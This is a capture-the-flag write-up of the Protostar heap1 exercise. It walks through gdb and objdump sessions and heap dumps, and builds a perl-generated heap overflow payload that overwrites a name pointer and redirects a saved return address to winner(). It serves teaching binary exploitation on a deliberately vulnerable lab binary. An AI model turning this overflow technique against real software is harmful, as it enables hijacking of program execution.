Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/heap1 test1 test2 and that's a wrap folks!
Exploit
Need to redirect program execution flow.
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); }
Looks like we need to redirect program execution flow to winner() function.
Let’s find the memory location for the winner() function.
Again we will use objdump -t option to disassemble the program and look for reference to the ‘winner()’ function and it’s memory location.
user@protostar:~$ objdump -d /opt/protostar/bin/heap1 |grep -A 4 winner 08048494 <winner>:
There we have it, winner() should be located at memory address 0x08048494.
Now in order for us to exert some level of control over this program we need some method of manipulation and at first view it appears that strcpy() calls might just be that because we can insert some user controlled data. Working backwards, we can see that our user data is entered into i1->name and i2->name which are both on the heap so they should be within close proximity to one another making it easier to corrupt.
Let’s run the code through gdb and see what is happening and how we might accomplish our task.
Before we do that you may wonder where the objects on the heap are located.
Let’s remind ourselves of what happens when malloc() is successfully run
user@protostar:~$ man malloc MALLOC(3) Linux Programmer's Manual MALLOC(3) NAME calloc, malloc, free, realloc - Allocate and free dynamic memory SYNOPSIS #include <stdlib.h> void *calloc(size_t nmemb, size_t size); void *malloc(size_t size); void free(void *ptr); void *realloc(void *ptr, size_t size); DESCRIPTION calloc() allocates memory for an array of nmemb elements of size bytes each and returns a pointer to the allocated memory. The memory is set to zero. ... RETURN VALUE For calloc() and malloc(), return a pointer to the allocated memory, ...
So a pointer is returned to the allocated memory on the heap.
Let’s observe the heap after all the malloc() calls are completed.
We will call heap1 with two parameters “AAAAAAAA” and “BBBBBBBB”
(gdb) b *0x080484c9 Breakpoint 7 at 0x80484c9: file heap1/heap1.c, line 23. (gdb) b *0x080484e3 Breakpoint 8 at 0x80484e3: file heap1/heap1.c, line 25. (gdb) b *0x080484f8 Breakpoint 9 at 0x80484f8: file heap1/heap1.c, line 27. (gdb) b *0x08048512 Breakpoint 10 at 0x8048512: file heap1/heap1.c, line 29. (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /opt/protostar/bin/heap1 AAAAAAAA BBBBBBBB ...
We can find the location of the heap by evaluating EAX after any of the malloc() calls.
gdb$ x /64xb 0x /64xb $eax-38 0x8049ff0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x8049ff8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a008: 0x01 0x00 0x00 0x00 0x18 0xa0 0x04 0x08 0x804a010: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804a020: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a028: 0x02 0x00 0x00 0x00 0x38 0xa0 0x04 0x08
Take note that I have highlighted two places on the heap that appear to be pointers to other regions within the heap. These pointers I believe are i1->name and i2-name.
Let’s now see what happens after our user controlled data is copied into the objects on the heap via strcpy().
gdb$ x /64xb 0x804a000 0x804a000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a008: 0x01 0x00 0x00 0x00 0x18 0xa0 0x04 0x08 0x804a010: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a020: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a028: 0x02 0x00 0x00 0x00 0x38 0xa0 0x04 0x08 0x804a030: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a038: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
Everything is as expected. Argv values have been copied to the location on the heap where i1->name and i2->name point to.
Let’s step back and see what exactly happens before strcpy() is called and how argv and i1->name, i2->name are prepared.
0x08048519 <main+96>: mov eax,DWORD PTR [esp+0x18] 0x0804851d <main+100>: mov DWORD PTR [eax+0x4],edx 0x08048520 <main+103>: mov eax,DWORD PTR [ebp+0xc] 0x08048523 <main+106>: add eax,0x4 0x08048526 <main+109>: mov eax,DWORD PTR [eax] 0x08048528 <main+111>: mov edx,eax
These calls are just preparing to store the location of argv buffer into EDX.
The next calls then retrieve the memory location for the contents of i1->name via it’s pointer reference from the heap.
0x0804852a <main+113>: mov eax,DWORD PTR [esp+0x14] 0x0804852e <main+117>: mov eax,DWORD PTR [eax+0x4]
There is a lot going on in these two lines.
gdb$ x /w $esp+0x14 0xbffff794: 0x0804a008 gdb$ print 0x0804a008+4 $8 = 0x804a00c gdb$ x /w 0x804a00c 0x804a00c: 0x0804a018
So that’s how EAX has the memory location of i1->name’s storage place.
This explanation is taking more time than I anticipated. Going to have to get straight to the point here. I’m going to rerun the program and overflow the heap boundary from i1->name storage (not it’s pointer ref) right up to i2->name’s pointer ref and write my own pointer to a memory location of my choice. That memory location will be a location on the stack where the return value EIP for the second strcpy() is, so when the second strcpy() call is finish it will return to my location of choice (winner).
Payload
Write 20 A’s to overflow heap boundary up to i2->name pointer
0xbffff76c. Overwrite original i2->name pointer with memory location of 2nd strcpy() return EIP on stack.
0x08048494. memory location for winner() function which will be written to 0xbffff76c.
gdb$ r `perl -e 'print "A"x20 . "\x6c\xf7\xff\xbf " . "\x94\x84\x04\x08"'`
Take a look at heap after first strcpy() call.
gdb$ x /64xb 0x804a000 0x804a000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a008: 0x01 0x00 0x00 0x00 0x18 0xa0 0x04 0x08 0x804a010: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a020: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x804a028: 0x41 0x41 0x41 0x41 0x6c 0xf7 0xff 0xbf 0x804a030: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804a038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Compare the results to the heap status above. Looks good?
Now run the 2nd strcpy() call to overwrite the stack location 0xbffff76c with the location of winner().
This is the stack when we enter strcpy()
gdb$ si 0x0804838c in strcpy@plt () gdb$ x /w $esp 0xbffff76c: 0x0804855a
Stack pointer contains EIP after strcpy() returns.
Let strcpy() run up to the point right before it returns.
gdb$ b *0xb7f09e02 Breakpoint 9 at 0xb7f09e02: file strcpy.c, line 49. gdb$ c Breakpoint 9, 0xb7f09e02 in *__GI_strcpy (dest=0xbffff76c "\224\20404\b", src=0xbffff844 "k\371\377\277\204\371\377\277\235\371\377\277") at strcpy.c:49 49 in strcpy.c
Now check stack.
gdb$ x /w $esp 0xbffff76c: 0x08048494
And there you have it, the stack has the address of winner().
Let the program finish and we should see the flag message.
gdb$ c and we have a winner @ 1435998773 Program received signal SIGSEGV, Segmentation fault.
Thank you